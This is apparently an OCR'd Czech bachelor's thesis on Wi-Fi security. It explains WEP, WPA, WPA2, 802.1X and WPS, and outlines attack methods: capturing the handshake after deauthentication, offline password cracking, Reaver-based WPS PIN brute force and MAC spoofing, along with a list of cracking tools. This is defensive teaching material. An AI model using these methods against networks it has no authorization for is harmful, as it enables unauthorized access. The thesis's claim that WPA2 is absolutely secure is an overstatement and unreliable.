VYSOKE UCENI TECHNICKE V BRNE

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA ELEKTROTECHNIKY A KOMUNIKACNICH
TECHNOLOGII

USTAV TELEKOMUNIKACI

FACULTY OF ELECTRICAL ENGINEERING AND COMMUNICATION
DEPARTMENT OF TELECOMMUNICATIONS

| N\T—

MODERNI| TRENDY V ZABEZPECENI WI-FI SiTi
STANDARDU IEEE 802.11

MODERN TRENDS IN WI-FI IEEE 802.11 NETWORKS SECURITY

BAKALARSKA PRACE
BACHELOR'S THESIS

AUTOR PRACE TOMAS LIESKOVAN
AUTHOR

VEDOUCI PRACE Ing. PAVEL ENDRLE
SUPERVISOR

BRNO 2015



[TT1TT] ’ VYSOKE UGENI
TECHNICKE V BRNE

[

)
— Fakulta elektrotechniky
| a komunikaénich technologii

Ustav telekomunikaci

Bakalarska prace

bakalafsky studijni obor
Teleinformatika

Student: Tomas Lieskovan ID: 154790
Rocénik: 3 Akademicky rok: 2014/2015
NAZEV TEMATU:

Moderni trendy v zabezpecéeni Wi-Fi siti standardu IEEE 802.11

POKYNY PRO VYPRACOVANI:

Podrobné popiste a rozeberte problematiku siti standardu 802.11. Prostudujte moznosti zabezpedeni
téchto siti a pfipadné nedostatky jednotlivych Sifrovacich a autentiza¢nich algoritmG. Dale popiste vliv
jednotlivych Sifrovani na sit s ohledem na pfenosovou rychlost. Vypracujte praktické utoky na jednotlive
zabezpeceni (WEP, WPA a WPA2), navrhnéte efektivni pouZiti v praxi a vyhodnotte momentalni situaci
z hlediska komeré&niho pouzivani zabezpeceni bezdratovych siti.

DOPORUCENA LITERATURA:

[1] Bigelow, S., J.: Mistrovstvi v pocitacovych sitich. Nakladatelstvi CPRESS 2004. ISBN
80-251-0178-9.

[2] Matas, J.: Linux jako brana do sité Internet. [Bakalaiska prace]. Ustav Telekomunikaci FEKT VUT v
Brné. 2007.

[3] BARKEN, Lee. Wi-Fi : jak zabezpecit bezdratovou sit. 1. vyd. Brno : Computer Press, 2004. 174 s.
ISBN 80-251-0346-3.

[4] ZANDL, Patrick. Bezdratové sité WiFi. 2003. 204 s. ISBN 80-722-6632.

Termin zadani: 9.2.2015 Termin odevzdani: 2.6.2015

Vedouci prace: Ing. Pavel Endrle
Konzultanti bakalarské prace:

doc. Ing. Jifi MiSurec, CSc.
Predseda oboroveé rady
UPOZORNENI:

Autor bakalafské prace nesmi pfi vytvareni bakalafské prace porusit autorska prava tretich osob, zejména nesmi
zasahovat nedovolenym zpusobem do cizich autorskych prav osobnostnich a musi si byt plné védom nasledki
poruseni ustanoveni § 11 a nasledujicich autorského zakona &. 121/2000 Sb., v€etné moznych trestnépravnich
disledku vyplyvajicich z ustanoveni ¢asti druhé, hlavy VI. dil 4 Trestniho zakoniku ¢.40/2009 Sb.



Faculty of Electrical Engineering
and Communication
. . . Brno University of Technology
... Technicka 12, CZ-61600 Brno, Czechia
research centre

sensor, information and communication systems http://www.six.feec.vutbr.cz

Vyzkum popsany v této bakalarské praci byl realizovany v laboratotich podpotenych projektem
Centrum senzorickych, informacnich a komunikacnich systému (SIX); registracni Cislo
CZ.1.05/2.1.00/03.0072, operac¢niho programu Vyzkum a vyvoj pro inovace.

*rox EVROPSKA UNIE ° 2007-13

MINISTERSTVO SKOLSTVI, : . *: EVROPSKY FOND PRO REGIONALNI ROZVO) OP Vyzkum a vyvoj
: * INVESTICE DO VAST BUDOUCNOSTI pro inovace

* %

MLADEZE A TELOVYCHOVY


http://www.six.feec.vutbr.cz

Faculty of Electrical Engineering
and Communication
. . . Brno University of Technology
... Technicka 12, CZ-61600 Brno, Czechia
research centre

sensor, information and communication systems http://www.six.feec.vutbr.cz

The research described in this bachelor thesis has been done in laboratories supported by Sensor,
Information and Communication Systems Research Centre (SIX) project; registration number
CZ.1.05/2.1.00/03.0072 Operational Program Research and Development for Innovation (operacni
program Vyzkum a vyvoj pro inovace).

*rox EVROPSKA UNIE ° 2007-13

MINISTERSTVO SKOLSTVI : By EVROPSKY FOND PRO REGIONALNI ROZVO) : OP Vyzkum a vyvoj
\ ) . * 4 * o M .
: * INVESTICE DO VASI BUDOUCNOSTI : pro inovace

* %

MLADEZE A TELOVYCHOVY


http://www.six.feec.vutbr.cz

ABSTRAKT

Price se zaméfuje na problematiku bezdratovych siti Wi-Fi. V prici jsou popsany
jednotlivé principy Sifrovani WEP, WPA a WPA2. Nejprve je rozebrdn zpisob
zabezpeCeni WEP, ktery jiz dnes nevyhovuje bezpeCnostnim pozadavkim, déle jeho
nidstupce WPA a to metody autentizace TKIP, AES a v neposledni fadé WPA2, které
dnes slouZi jako bezpec€nostni standard.

Prace hodnoti bezpeCnostni rizika jednotlivych zabezpeCovacich metod a uvadi
nekolik doporuceni pro dosaZeni maximalniho zabezpeceni bezdratovych siti.

V praci je pouzit bézn€ dostupny hardware a volné Sifitelny software (Open
Source).

KLICOVA SLOVA

Bezdritova sit, zabezpeceni, Sifrovani, autentizace, Wi-Fi, WLAN, IEEE, 802.11,
WEP, WPA, TKIP, CCMP, AES, WPS

ABSTRACT

This work treats the matters of wireless networks, Wi-Fi. The paper describes the
various principles of coding, such as WEP, WPA and WPA2. At first the WEP security
method is analyzed with the view of the fact that it doesn’t meet contemporary safety
requirements, further its successor WPA, namely TKIP and AES authentication
methods, and last but not least WPA2 which nowadays serve as a safety standard.

The work assesses the safety risks of individual security methods and makes
several recommendations to achieve maximum security for wireless networks.

In the work a commercially available hardware and for free dissemination available
software (Open Source) are used.

KEYWORDS

Wireless network, security, encryption, authentification, Wi-Fi, WLAN, IEEE, 802.11,
WEP, WPA, TKIP, CCMP, AES, WPS
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UVOD

Tuto praci jsem si vybral vzhledem k mym praktickym zkuSenostem s bezdratovymi
sitémi z praxe. Z vlastnich zkuSenosti vim, Ze zabezpeCeni bezdritové sit€¢ se v kazdé
druhé firmé ¢i organizaci podceniuje. Podle hesla ,,Nejlepsi obrana je utok* se snaZim
vZit se do role tutocnika a tento pohled poskytnout Ctendfi, piipadnému spravci sité,
ktery muze tyto poznatky a metody vyuZit k lep§imu zabezpeceni vlastnich siti. V praci
hodnotim bezpecnostni techniky a jejich vyuZitelnost v praxi. Pfiddvam par dalSich
technik zabezpeCeni z jiného odvétvi, neZ jsou bezdriatové sité, které z pohledu
bezpecnosti s timto tématem souvisi. Po piecteni by mél ¢tenaf poznat metody utokd na
bezdratové sité a metody, jak témto dtokim zamezit.



1 WI-FI

Bezdritové sité Wi-Fi (Wirelesss Fidelity'), nebo také WLAN byly piivodné navrzeny
pro podnikovou sféru a to k pfipojovani firemnich zatizeni do lokdlnich siti. S postupem
Casu zacala Wi-Fi sité vyuZivat Sir§i vefejnost, zejména k pfipojovéani do siteé internet.
Vzhledem k tomu, Ze Wi-Fi sité byly navrZzeny pro komunikace v bezlicencnim pasmu
2,4 GHz, které neni zpoplatnéno, mohl odstartovat jejich vyvoj ve vétSim méfitku.
Pravé diky témto aspektim se z bezdratovych siti Wi-Fi stal nejrozsifenéjsi standard
bezdritovych siti. Dnes technologii Wi-Fi maji vesmés vSechna mobilni zafizeni.
MoZnd praveé proto bychom méli této technologii vénovat vétsi pozornost pii budovani

zabezpeceni bezdratové infrastruktury.
1.1 Zakladni koncept
Wi-Fi sité se déli na:

1.1.1  Infrastrukturni sité

Zékladni schéma Infrastrukturni sit€¢ vypada nasledovné:

Klient

A
v

AP

Obr. 1:  Schéma struktury Infrastrukturni sité

Access Point (zkrdcené¢ AP) je néjaky bezdritovy prvek site€, naptiklad router od
poskytovatele internetu. Klient znaci kterékoli zafizeni pfipojené do sit&, od pocitace,
telefonu aZ po lednicku nebo hodinky.

1.1.2 AD-HOC

Ad-hoc je zkratka pro technologii bezdritového spojeni dvou nebo vice sobé
rovnych prvkd. Touto technikou je mozné k sob& pripojit napiiklad dva klienty bez
nutnosti vyuzit AP. Tento model by se dal ptirovnat k modelu P2P?,

Zékladni schéma sit¢ AD-HOC vypada nasledovné:

2 N~z

! Zkratka Wireless Fidelity (Bezdrdtova vérnost) nemd Zddné praktické oditvodnéni. Zkratka vznikla
z tehdy jiz znamé zkratky Hi-Fi — High Fidelity (Vysoka vé€rnost) reproduktorovych soustav.

2 P2P (zkratka peer-to-peer) je ozna¢eni komunikace, kde mezi sebou komunikuji pouze klienti.
Opakem je zkratka server-klient. V sitich peer-to-peer jsou vSechny uzly sit¢ rovnocenné, avsak pro
navdzdni komunikace je vZdy nutné klienty navzdjem sezndmit. Princip seznamovéni jiz ma ale kazdy
perr-to-peer protokol jedineCny.
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Obr. 2:  Schéma struktury AD-HOC sité

Prvni klient, ktery tuto sit ,,vytvoii®, se stdva zakladatelem a chové se tedy jako
docasny Access Point. V piipadé€ vice klienta je nutné, aby vSichni klienti byli v dosahu
vSech ostatnich klientd. Klienti se navzdjem rozeznaji podle identifikatoru sité SSID.
Pokud se ze sité odpoji jeji zakladatel, sit’ je na maly okamZzik nefunkcni do doby, nez
nekterd stanice zastane funkci AP.

Nevyhoda tohoto pfipojeni je rychlost pfipojeni (vétSinou jednotky MB). Pokud
karta disponuje rezimem 802.11g, ad-hoc sit’ bude komunikovat v rezimu 802.11b, tedy
11Mbps. Nekteti vyrobci implementuji adhoc reZim 802.11n do svych sifovych karet.
Je ale potieba tento reZim povolit ve spravci zatizeni. Vzhledem k tomu, Ze klienti AD-
HOC sité vytvaii mezi sebou kolizni doménu, znemana to tedy, Ze pocet klientd je
nepiimo umeérny maximdlni pfenosové rychlosti. Dal§i nevyhodou je nemoZnost
vypnuti vysildni ndzvu sité a absence diagnostiky sily signdlu.

Vyhoda tohoto pfipojeni je jednouché zprovoznéni (vétSina dostupnych operacnich
systému a hardwaru touto funkci disponuje bez dodavani dalSiho softwaru) a nizké
ndklady.

Ad-Hoc méd neni z divodu malého praktického rozsiteni predmeétem této prace.

1.2 IEEE 802.11

Standard IEEE? 802.11 je standardizované oznadeni typu modulace pouZivajici stejny
pfenosovy protokol. Mimo jiné tyto modulace uddvaji maximdlni teoretickou
pienosovou rychlost, kterd je ddna tabulkou:

3 Zkratka IEEE (Institute of Electrical and Electronics Engineers) je mezindrodni standardizadni
organizace zajiSt'ujici bezpecnostni normy v slaboproudé technice.



Tab. 1: Prehled standardt IEEE podle rychlosti a prfenosového pasma

Typ modulace Prenosové pdasmo [GHz] Max. pienosovd rychlost [Mbps]
IEEE 802.11 2,4 2

IEEE 802.11a 5 54

IEEE 802.11b 2,4 11

IEEE 802.11¢g 2,4 54

IEEE 802.11n 2,4 nebo 5 600

IEEE 802.11ac 24a5 1000

Uvedend tabulka uvadi pouze nejrozsifengjsi a tudiZ nejbéznéjsi typy modulaci. Pro
dalkové nebo specidlni spoje se mohou vyuZit jiné modulace i frekvence sahajici az
k 60 GHz.

1.3 SSID

Service Set Identifier (zkridcené SSID) je 32bit ndzev bezdritové site, identifikdtor,
podle kterého ucastnik rozezna prave tu sit’, do které se hodla pfipojit. Bezdratovy bod
vysild pravideln€ nazev sité v uritém intervalu (beacon frame), ktery dava klientim
vedét, Ze se v blizkosti tato sit’ nachazi.

Tento interval je moZné prodlouZit ¢i zkratit. Je moZné nastavit bezdratovy bod tak, aby
v beacon framu nefiguroval nédzev sité, tomuto jevu se fikd skryti SSID a jedna se o
prvni stupefi zabezpeceni.

Varianty SSID se déli na AD-HOC sité a Infrastrukturni sité. Infrastrukturni sité jsou
charakteristické hierarchii jednim Access Pointem (AP) a vice klienty. AD-HOC reZim
je charakteristicky stanicemi, které jsou na stejné drovni a mohou spolu komunikovat.



1.4 Kanal

1 2 3 4 5 6 7 8 9 10 11 12 13 14
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14 Kandlii Wi-FI 802.11 b/g

A
22 MHz T

2,401 GHz 2,484 GHz

Obr. 3: Grafické zndzornéni kanala

Pismo 2,4 GHz (2,4 - 2,4835 GHz), které pouzivad technologie Wi-Fi se déle
rozd€luje na 13 (v nékterych zemich 14) kanald. Jednd se o presné specifikovanou
frekvenci, se kterou budou zafizeni komunikovat. Toto opatfeni je nutné zejména pro

N 4

dosaZeni nejvyssi mozné rychlosti prenosu.

Kandl je nutné vybrat tak, aby na dané frekvenci nebyla jina sit’, nebo alespori co
nejméné siti (v zaruSenych prostiedich). Vzhledem ke kryti jednotlivych kanald, pro
dosazeni maximdlni rychlosti pfenosu, by bylo potfeba vytvofit odstup minimdlné 5
kanala od ostatnich siti. V piipadé meéstské zastavby je tedy nejvhodné&jsi vytvorit tento

Yev s

odstup od nejsilnéjsi okolni site.

1.5 Sifrovani

1.5.1 Bez Sifrovani

Tato varianta zajistuje pfistup vSem potencidlnim dcastnikiim, ktefi maji zdjem se do
sité pfipojit. Sité bez Sifrovani nalezneme na raznych vefejnych mistech, jednd se o tzv.
hot-spoty. Pii pouzivani neSifrované sité je potieba si uvédomit, Ze vSechna data, kterd
do nebo ze sité pfeneseme, mize precist potencidlni dtocnik velmi jednoduse. Poté staci
napiiklad odeslat HTTP formuldf, ¢i oteviit jiZz pfihldSenou stranku a diky
transparentnosti POST, GET a COOKIES pozadavkia HTTP jiZ neni slozité tyto ddaje
zachytit, pfipadné zneuZit.

1.5.2 WEP

WEP Wired Equivalent Privacy (7. soukromi srovnatelné s drdtovymi sitémi) je jedno
z nejstarSich zabezpeceni bezdratovych siti 802.11. Vyvinuto bylo roku 1997, kde jeho
primdrni Gcel bylo poskytnuti zabezpeceni podobné dratovym sitim.

ZabezpecCeni WEP pracuje na linkové vrstve, pracuje ve dvou zdkladnich rezimech
64b nebo 128b. 64b mdéd vyuziva 40b kli€ a 24b inicializacni vektor. 128b méd vyuziva
104b kli¢ a rovnéz 24b vektor [3].



Sifrovani WEP pouziva k Sifrovani a deifrovani stejny algoritmus, tj. i stejny KI{&.
V praxi nejcastéji pouzivany 40b kli¢ slouZi pro autentizaci vSech tcastnikd WiFi sité.
Autentizace probihd na principu adresy MAC, tudiz je ové&fovdna spiSe bezdratova
karta, nez uzivatel. Protokol WEP ovétuje tcastniky jednostranng.

Sifrovani paketd probiha 64b kli¢em s 24b inicializaénim vektorem (IV), ktery se
meni pro kazdy vysilany paket, tudiZ je Sifrovdni unikatni pro kazdy paket. Jako
algoritmus Sifrovéni je zde vyuzito RC4.

Neéktefi vyrobci zacali implementovat 256b variantu WEP, ktera fungovala na
stejném principu, avSak se neujala a jako ndhrada za WEP pfiSel standard 802.11i.

WEP byl poprvé prolomen roku 2001. Od té doby se povaZuje za nedostatecné
zabezpeceni sit&[3].

153 WPA

Metoda Sifrovani WPA (Wi-Fi Protected Access) byla vytvofena jako ndhrada jiz
nedostacujictho zabezpeceni WEP. WPA funguje na podobném principu jako Sifrovéani
WEP, na rozdil od né& ale vyuzivd 128b Sifrovaci kli¢ a 48b inicializac¢ni vektor.
Znamena to tedy, Ze 1 kdyZ pouzivdi WPA podobnou technologii jako WEP, je méné¢
nichylny na prolomeni [7].

Sifrovani WEP pouZivd pomérné jednoduchy algoritmus CRC-32, ktery umoZiiuje
pozmeénit zprdvu 1 kontrolni soucet bez znalosti WEP klice. Tuto zranitelnost opravuje
zebezpeCeni WPA, které vyuZziva zabezpeCeni MIC (Message Integrity Code). MIC
metoda zejména obsahuje technologii pocitani rdmcu, kterd zabranuje generovani
provozu na siti opakovanim zachycenych paketu.

Autentizace je v protokolu WPA umozZnéna dvéma metodami — sdilenym heslem
nebo Rédius serverem.

PSK (Pre Skared Key) - jednd se o technologii sdileni klice se vSemi ucastniky.
Heslo musi byt dlouhé 8 az 63 ASCI znakt nebo 64 hexadecimalnich ¢islic. Vzhledem
k podobnosti s metodou Sifrovani WEP, je nutné dbat na zakladni zasady voleni klicu,
aby nedoslo k prolomeni zabezpeceni stejné rychle jako u WEP. Je dobré volit heslo
bud ze tii spojenych slov, nebo Ctrnacti ndhodné generovanych znakl. Pro naprosté
bezpeci je nutné zadat 54 ndhodnych pismen, nebo 39 nahodnych ASCI znaku.

S WPA je mozné vyuzit autentizacni server, typicky RADIUS pomoci protokolu
IEEE 802.1X.

1.54 WPA2

Nadstavba WPA, kterd kombinuje vSechny povinné prvky 802.111, pfidava algoritmus
CCMP vyuZzivajici technologii AES*. WPA?2 vyuZiva &tyfcestny handshake. Jedna se o
proces vymény informaci (heslo a inforamce o zabezpeCeni) a natavovani pfipojeni
mezi AP a klientem. Sdileny klic WPAZ2 lze ziskat pouze z tohoto procesu.

4 AES (Advanced Ecryption Standart) - Jednd se o systematickou blokovou Sifru umoziujici
Sifrovat i desifrovat data pomoci stejného klice. Sifra byla vymyslena jako ndhrada za nevyhovujici a
vykonové¢ naro€ny algoritmus DES.



Piipadny dto¢nik miiZze pouze vyuzivat volné dostupné programy (airodump-ng),
aby monitoroval okolni provoz a v pfipad¢€ navdzani handshaku jej zaznamenal.

Pokud utocnik nemad tolik Casu a jiz nekterd stanice je k AP pfipojena, pomoci
programu aireplay-ng je mozné klienta deautorizovat a tento handshake zaznamenat.

Jakmile uto¢nik jiz ma handshake zaznamenany, maze pouZzit bud’ slovnikovy nebo
brute-force utok na zaSifrované heslo. Tento proces jiZ nemusi probihat v blizkosti AP,
je tedy mozné jej provadet tzv. off-line. Tato metoda ale neni nejrychlejsi a v piipadé
delSich a slozit&jsich hesel je velmi zdlouhava. V pfipad€ vyuziti specidlnich znakt a
dlouhého hesla hranic¢i usp&Snost tohoto testu s jistym nedspéchem.

Metoda Sifrovani WPA?2 je povazovdna za absolutné bezpecnou.

1.5.5 802.1x (RADIUS Server)

Vyuziti technologie RADIUS® na bezdritovych prvich sité znamend pieneseni
odpoveédnosti autentizace uzivateli z AP na RADIUS server. Vyhoda tohoto feseni je
moznost autentizovat uZivatele nejenom v bezdritovych sitich, ale také v dratovych
sitich Ethernet ¢i PPP.

V sitich WiFi se vyuzivd mnoho zpusobu $ifrovani povéfeni mezi klientem a AP,
z téch nejcastéjSich jsou to:

3 RADIUS — Remote Dial In User Service (UZivatelska vytd&end sluzba pro vzdélenou autentizaci



Sifrovani Vybér parametru

LEAP Absence SSL, vyvinuto spoleCnosti Cisco, pouzivd MS-CHAP - ddaje
nejsou silné Sifrovany, podobné zabezpeceni jako WEP, obsahuje zndmé
zranitelnosti, mozny off-line ttok.

EAP-MD5 Absence SSL, Sifrovino MDS5, nevhodné pro pouzivani, MDS5 je
nichylné na slovnikovy utok.

PEAP® Protokol zabali autorizaci EAP do tunelu TLS’, vyvijeno ve spolupraci
firem Cisco Systems, Microsoft a RSA Security, vyzaduje pouze PKI
certifikdt na strané serveru a vefejny kli€ na stran¢ klienta k vytvofeni
TLS tunelu a zabezpeceni ptihlaSovani. NejpouZivan€jsi autentizacni
protokoly jsou MSCHAPv2 a GTC (tokeny).

EAP-TLS Vyuzivd PKI na zabezpecCeni komunikace mezi RADIUS serverem a
klientem. I pfesto, Ze je nejCasteji vyuzivan, stile je povazovan za jedno
vSemi vyrobci bezdriatovych karet. Vyzaduje certifikét na strané klienta,
coz muze fadu organizaci odradit.

EAP-FAST | Protokol vyvijen spolecnosti Cisco Systems, nahrazuje zastaraly
protokol LEAP. Vyuziti certifikdtu na serveru je volitelné, vyuziva
PAC? k sestaveni TLS tunelu mezi klientem a serverem, pies ktery se
pfenasi pfihlaSovaci udaje k autentizaci, pfi pouziti automatického PAC,
EAP-FAST bude obsahovat zranitelnost.

Tab. 2: Typy Sifrovani 802.1X

Klient neni schopen komunikovat s RADIUS serverem piimo, komunikaci
s autentizaCnim serverem interpertuje AP. Klient zaSle specidlni EAPOL ramce, které
jediné AP piijme a zaSle poZzadavek na autentizaCni server. Ten pozadavek vyhodnoti a
v piipadé dspeésného ovéreni tdajii oznami AP, Ze je mozné klienta pfipojit.

AP komunikuje s RADIUS serverem Sifrované pomoci sdileného hesla. Toto heslo
je mozné prolomit slovnikovym ¢i jinym utokem a poté podvrhnout odpovéd RADIUS
serveru. Je tedy vhodné volit silné heslo, poptipadé¢ komunikaci mezi AP a RADIUS
serverem umistit do jiné VLAN, aby se minimalizovalo riziko podvrZeni.

1.5.6 WPS

Metoda pfipojovani do bezdritové WPS? je jiz od za¢itku cilena na b&Zné uZivatele,
které nezajima, jaké pouzivaji zabezpeceni nebo kli¢. Tato metoda miZe fungovat ve

6 PEAP — Protected EAP

7 TLS - Transoport Layer Security
8 PAC — Protocol Access Creditial
® WPS — WiFi Protected Setup




dvou reZimech:
¢ Pripojeni pomoci stisknuti tlacitka
e Pripojeni pomoci kédu PIN
Autentizace pomoci tlacitka

Skoro kazdy domdci, ¢i sttedné podnikovy router, ¢i AP dispoujici funkci WPS ma
z nekteré strany tlacitko se symbolem Sroubovdku, ndpisem WPS nebo jiné znacky. Po
kliknuti na toto tlacitko se AP pfepne do médu naslouchdni okolniho prostiedi a pokud
zjisti pfipojovani klienta, automaticky klientovi zaSle vSechny potfebné informace pro
pfipojeni do sité (SSID, Sifrovéni a klic).

Yev s

jiném zafizeni (modifikovany telefon, tablet, ¢i miniPC) spuStény program, ktery
vyhledavé dostupné WPS pftipojeni. Ten poté ziskd vSechny potfebné informace o siti a
utocnik m4 pak dvefe oteviené [5].

Autentizace pomoci PIN kédu

Na rozdil od autentizace pomoci tlacitka, autentizace pomoci PIN kédu béZi na pozadi
neustdle. Router (AP) neustéle naslouchd, zda-li neni v okoli né&jaké zafizeni, které se
chce pripojit do této sité pomoci kédu PIN. Koéd PIN je 8 mistné dekadické Cislo.
V tomto pifpadé je pocet moznych kombinaci 108, coZ znameni 100 miliond
kombinaci. Tato metoda je tedy prolomitelnd metodou brute-force. Pfi kratkém
zamySleni ale tato metoda nepfipadd do dvahy, protoZe vyzkouSet takové mnoZstvi

kombinaci by trvalo (pokud bychom pocitali 1 pokus = 1s) néco okolo 3 let.

Tolik ¢asu jisté mit dto¢nik nebude, miZe ovSem vyuZit bezpecnostni slabinu WPS.
Kazdé zafizeni pii nesprdvné zadaném PIN kdédu obdrZi informaci, Ze tento kdd je
nespravny. Zaroven ale ziskd informaci o tom, jestli nebyla prvni nebo druhd ¢4st kédu
spravné. Aktudlni podet moznych kombinaci je tedy 2 x 10* = 20 000 moZnych
kombinaci. Pokud bereme v potaz, zZe posledni Cislice WPS kédu je kontrolni soucet,
zbyva nim 10* + 10° = 11 000 kombinaci.

1 2 3 4 5 6 7 8
s s , . ows , Kontrolni
Prvni c¢ast PIN kodu Druha c¢ast PIN kodu v
soucet

Tab. 3: Schéma kédu WPS PIN

Té&chto skuteCnosti vyuzivaji programy Reaven a wpscrack.py, které jsou napsany
Pythonu a jsou volné dostupné na internetu. Co se tyCe programu Reaven, je pomalejsi
nez program wpscrack.py, avSak je schopen rozeznat, kdyZ AP zjisti, Ze je na n¢j
provadén tutok. Dokaze si také poradit se zmeénou kanali AP pfi nespravnych pokusech.
Pokud by jeden pokus o prolomeni trval 1s, teoretickd doba prolomeni WPS pomoci
koédu PIN by byla okolo 3 hodin.

WPS bohuZel nemd vice moznosti, jak jej zabezpecit, nebo jak se zachovat
k dtoCnikovi, ktery zkou$i vicekrat priihlaSeni. Jedinou moZnosti, jak zabezpecit




technologii WPS, je ji vypnout. Nekteré domaci AP bohuZel moZnosti vypnuti WPS
nemaji.

1.6 Dalsi metody zabezpeceni Wi-Fi siti

1.6.1  Skryti SSID

Kazda bezdratova sit’ vysila v pravidelném intervalu tzv. beacon pakety, které oznamuji
ostatnim ucastnikiim zdkladn{ informace o dané siti. Kazdy ucastnik pro pfipojeni musi
zndt nézev sité, coZ zamezuje pripojeni utoCnika, ktery napf. zna heslo, ale neznd nazev
sité.

Tato technika nepatii mezi bezpecné, utoCnikovi staci deautorizovat klienta od sité a
odposlouchat jeho ptfihlasovani, které obsahuje SSID nézev sité&, a ten si poté zobrazit.

1.6.2 MAC Filtr

Dal$i moZnosti zabezpeCeni je pouzit filtr MAC adres. Access Point si vede svoji
tabulku povolenych klientd, kam spravce zapisuje MAC adresy, které mohou s Access
Pointem komunikovat. Pti této konfiguraci je dobré si dat pozor, aby nedoslo k omezeni
piistupu pro strdvce, ktery Access Point konfiguruje.

V praxi uto¢nikovi stai pouze pockat, aZ se nékterd stanice odpoji a poté si
nastavit MAC adresu stanice na svoji bezdratovou kartu.

1.6.3 VPN

V piipadé ISP nebo citlivych dat je oblast zabezpeceni vysokou prioritou. V piipade ISP
jde o neautorizovany odbér internetu — a tudiz financni ztraty, v ptipadé firem muze jit o
citliva firemni data [1]. Pokud by chtél mit spravce této sité vetsi jistotu, mize vyuzit
technologii VPN. Tento princip pfijde vhod zejména v pfipadé tspéSného deSifrovani
sdileného kli¢e. Pokud se to ttoc¢nikovi podafi, miZe odposlouchdvat komunikaci na
tomto AP ¢i bezdritovém spoji. V piipadé VPN vSak narazi na dalsi prekdzku a to, Ze
data prendsena pomoci Sifrované bezdratové sité jsou i nadale necitelna kvuli Sifrovani
VPN. Jedna se tedy o dvoji zabezpeceni.

WPA2-AES

AP klient
VPN (data)

Obr. 4:  Schéma zabezpeceni WiFi sité pomoci VPN

Vétsina dne$nich modernich routert jiz touto funkcionalitou disponuje a je mozné
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vyuzit nékterého z bé&7né dostupnych VPN klientd. Z hlediska ekonomického a
multiplatformniho pouziti se zdd byt nejlepsi volbou software OpenVPN. Pokud je
provadéna Uprava stdvajici sit€ a je zjiSténo, Ze aktudlni prvky VPN nepodporuji, je
mozné v nékterych piipadech prehrét firmware tohoto zafizeni na neékterou svobodnou
platformu OS WRT. Kupiikladu DD-WRT!. Tato platforma umoZiiuje spustit
OpenVPN server a generovat klice pro klienty. Je dostupnd pro fadu profesiondlnich i
domdcich routeru [2].

OpenVPN je svobodnd platforma s otevienym zdrojovym kdédem umoZiujici
propojeni hostitelskych stanic. Nejvétsi vyhoda OpenVPN je licence GNU GPL!!, ktera
umozinuje vyrobcum HW i SW implementovat tento standard do svych zafizeni zcela
zdarma. Praveé proto je tento standard tak roz§ifen a hojné€ vyuzivan.

10 Firmware pro rozifeni funkcionality domdcich i profesiondlnich AP, routeri a switchu zaloZen

na Linuxovém jadfe. UmoZiluje provozovat IPv6, QoS, WDS ¢i RADIUS Server s minimalnimi naklady.

' GNU GPL - General Public Licence Licence pro svobodny software (tzv. copyleftova licence).
Tato licence zajistuje svobodu softwaru, jak softwaru s touto licenci, tak i odvozeného softwaru ¢i jinych
programii a Casti kddu, které na tento software navazuji. Od GNU GPL je potieba odlisit BSD licenci,
ktera zajistuje svobodu pouze puvodniho dila. Pokud je dilo BSD zménéno, miZe byt vyuzito komer¢ng.
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2 ZPUSOB TESTOVANI ZABEZPECENI

Nejlepsi volbou, jak zabezpecit bezdritové sité je vzit se do role dtocnika. V néasledujici
kapitole si popiSeme, co bude potieba k provadéni penetracnich testa.

2.1 Hardware

Pro simulaci utoku na sit’ neni potfeba Zadna specidlni vybava. Z hardwarové stranky je
potieba zajistit bezdrdtovou kartu do pocitae, kterd bude podporovdna naSim
operacnim systémem — v naSem piipadé KALI LINUX (jadro Debian) a moZnost
prepnuti karty do promiskuitniho médu'?. PouZivand karta by zdroveii méla mit vystup
na externi anténu pro dosaZeni co nejlepsich vysledku.

Obr.5:  Bezdratovy USB adaptér TP-LINK

V préci je vyuzita USB WLAN karta TP-LINK TL-WN722N, kterd ma nativni podporu
v linuxovém jadfe, umoZiuje promiskuitni méd a zdroven disponuje vystupem pro
externi anténu.

2.2 Software

Pfi vybéru softwaru je nutno se prvoradé rozhodnout nad platformou. Prostfedi
znamych operacnich systému zrodiny Windows je jisté ldkava a na prvni pohled
jednoduché volba, bohuZel na ten druhy zjistime, Ze na tuto platformu neexistuje mnoho
softwaru a co se pfistupu k hardwaru tyce, je problém na nékterych kartdch nastavit
naslouchaci méd.

Pro rodinu opera¢nich systému UNIX je situace presné obrdcend. Pokud je karta
detekovdna operacnim systémem a zobrazuje se mezi sitovymi kartami, mame napul
vyhréano.

V rodinach linuxovych operacnich systémii mame nepieberné mnoZstvi nastroju,

12 Promiskuitnf méd je méd sitové karty umoZiiujici naslouchat komunikaci, kterd nepatii danému
uCastnikovi. JelikoZ se jedna o zdleZitost hardwaru, je nezbytn¢ nutné, aby pouzita sitova karta méla tuto
podporu, v opa¢ném piipad¢ s nejvetsi pravdépodobnosti neptijde tato karta pouzit.
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které muzeme pouzit. Pokud pouZijeme Cisty operacni systém, je potieba tyto nastroje

nejprve nahrat. Nejjednodussi instalace nastroju je z repozitaia.
V OS debian by ptikaz vypadal nasledovné:
sudo apt-get install aircrack-ng macchanger

Dalsi variantou je vyuZiti n¢jaké linuxové distribuce urené piimo pro testovani
zranitelnosti. V této praci je vyuzito systému OS KALI, zaloZeném na Debianu. Vyhoda
takového systému je, Ze jiZz md predpfipravené vSechny ndstroje, které budeme
potfebovat. Dalsi vyhodou je uzptsobeni tomuto ucelu. Pokud bychom upravovali
néktery Cisty linux, musime vyfeSit odstranéni nastroju typu spravce sité a spravce
zafizeni, které nevhodnym zpusobem ovliviiuji fungovani celého testovani.

Sprévce sitovych ptipojeni vypneme nésledovng:
sudo stop network-manager

OS KALI se dodavd v 32b 1 64b verzi. Dédle je moZné si vybrat z grafického
prostiedi GNOME nebo KDE, podle toho, jaké prostfedi dany Cloveék preferuje.

2.2.1 Programové vybaveni

Tab. 4: Seznam programu pouZitych pro simulaci ttoku

airmon-ng ndstroj slouzici na zapnuti monitoru, ze kterého bude probihat sbér
dat

airodump-ng nastroj slouzici pro zobrazeni aktudlni situace Wi-Fi siti a
k naslednému ukladani pakett z odposlouchdvané site

aireplay-ng ndstroj pro generovani provozu na siti

aircrack-ng dekryptovaci nastroj slouzici knalezeni klice ze zachycené
komunikace

macchanger ndstroj pro pozmeénéni MAC adresy bezdritové karty

reaver Program na prolomeni WPS kédu PIN

Wash Program na testovéni stavu WPS
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2.3 Virtualizace

Pokud neni moZzné zavést startovaci CD, DVD nebo USB, je mozné celé toto
prostfedi spustit virtualng, napifklad ve virtualizaénim prostiedi VirtualPC'"?,
